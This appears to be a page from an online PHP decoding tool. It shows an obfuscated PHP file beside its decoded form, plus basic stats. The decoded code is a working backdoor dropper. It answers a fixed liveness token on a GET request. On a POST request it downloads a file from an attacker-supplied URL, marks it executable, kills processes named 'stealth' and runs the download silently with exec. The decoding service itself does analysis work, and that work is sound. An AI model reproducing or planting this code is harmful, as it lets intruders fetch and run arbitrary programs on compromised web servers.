Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto bb246; A25a4: if ($_GET["\143\147"] == "\143\150\153") { echo "\x61\165\170\x36..

Decoded Output download

<?php goto bb246; A25a4: if ($_GET["cg"] == "chk") { echo "aux6TheioGhueQu3"; die; } goto d3550; bb246: error_reporting(0); goto A25a4; d3550: if ($_POST["cp"] == "download") { goto F819c; F819c: $fname = substr(str_shuffle(str_repeat($x = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen($x)))), 1, 6); goto f4ac9; a9366: if (!empty($url)) { goto E7e32; C59be: exec("pkill -9 -f stealth"); goto ab9e9; F9816: $c = file_get_contents(trim($url)); goto de42c; f8eae: exec($command); goto f5f66; f18ff: chmod($fname, 0755); goto e01a3; e01a3: $command = "./{$fname} > /dev/null 2>/dev/null &"; goto f8eae; ab9e9: exec("pkill -f -9 stealth"); goto F9816; E7e32: @unlink($fname); goto C59be; de42c: file_put_contents($fname, $c); goto f18ff; f5f66: echo "ok"; goto d8431; d8431: } goto da07b; f4ac9: $url = $_POST["url"]; goto a9366; da07b: } ?>

Did this file decode correctly?

Original Code

<?php goto bb246; A25a4: if ($_GET["\143\147"] == "\143\150\153") { echo "\x61\165\170\x36\124\150\145\151\x6f\107\x68\165\145\121\x75\63"; die; } goto d3550; bb246: error_reporting(0); goto A25a4; d3550: if ($_POST["\x63\x70"] == "\144\157\x77\x6e\154\x6f\141\x64") { goto F819c; F819c: $fname = substr(str_shuffle(str_repeat($x = "\60\x31\62\63\64\x35\x36\x37\x38\71\x61\142\143\144\x65\146\147\x68\151\x6a\153\x6c\155\x6e\x6f\160\161\x72\x73\164\x75\166\167\170\x79\x7a\101\102\x43\104\x45\106\107\110\111\112\113\114\x4d\x4e\x4f\120\x51\122\x53\x54\x55\126\x57\130\131\x5a", ceil(6 / strlen($x)))), 1, 6); goto f4ac9; a9366: if (!empty($url)) { goto E7e32; C59be: exec("\x70\153\x69\x6c\x6c\40\x2d\71\x20\55\x66\40\x73\164\x65\141\x6c\164\x68"); goto ab9e9; F9816: $c = file_get_contents(trim($url)); goto de42c; f8eae: exec($command); goto f5f66; f18ff: chmod($fname, 0755); goto e01a3; e01a3: $command = "\x2e\x2f{$fname}\40\x3e\40\57\x64\145\x76\57\156\x75\x6c\154\40\62\x3e\57\144\x65\x76\x2f\x6e\165\154\x6c\x20\x26"; goto f8eae; ab9e9: exec("\x70\153\151\154\154\40\x2d\x66\40\x2d\71\40\163\x74\x65\141\154\x74\150"); goto F9816; E7e32: @unlink($fname); goto C59be; de42c: file_put_contents($fname, $c); goto f18ff; f5f66: echo "\157\153"; goto d8431; d8431: } goto da07b; f4ac9: $url = $_POST["\165\x72\154"]; goto a9366; da07b: }

Function Calls

None

Variables

None

Stats

MD5 7a0e0a8cdd792bac75ed134ed64ad1aa
Eval Count 0
Decode Time 86 ms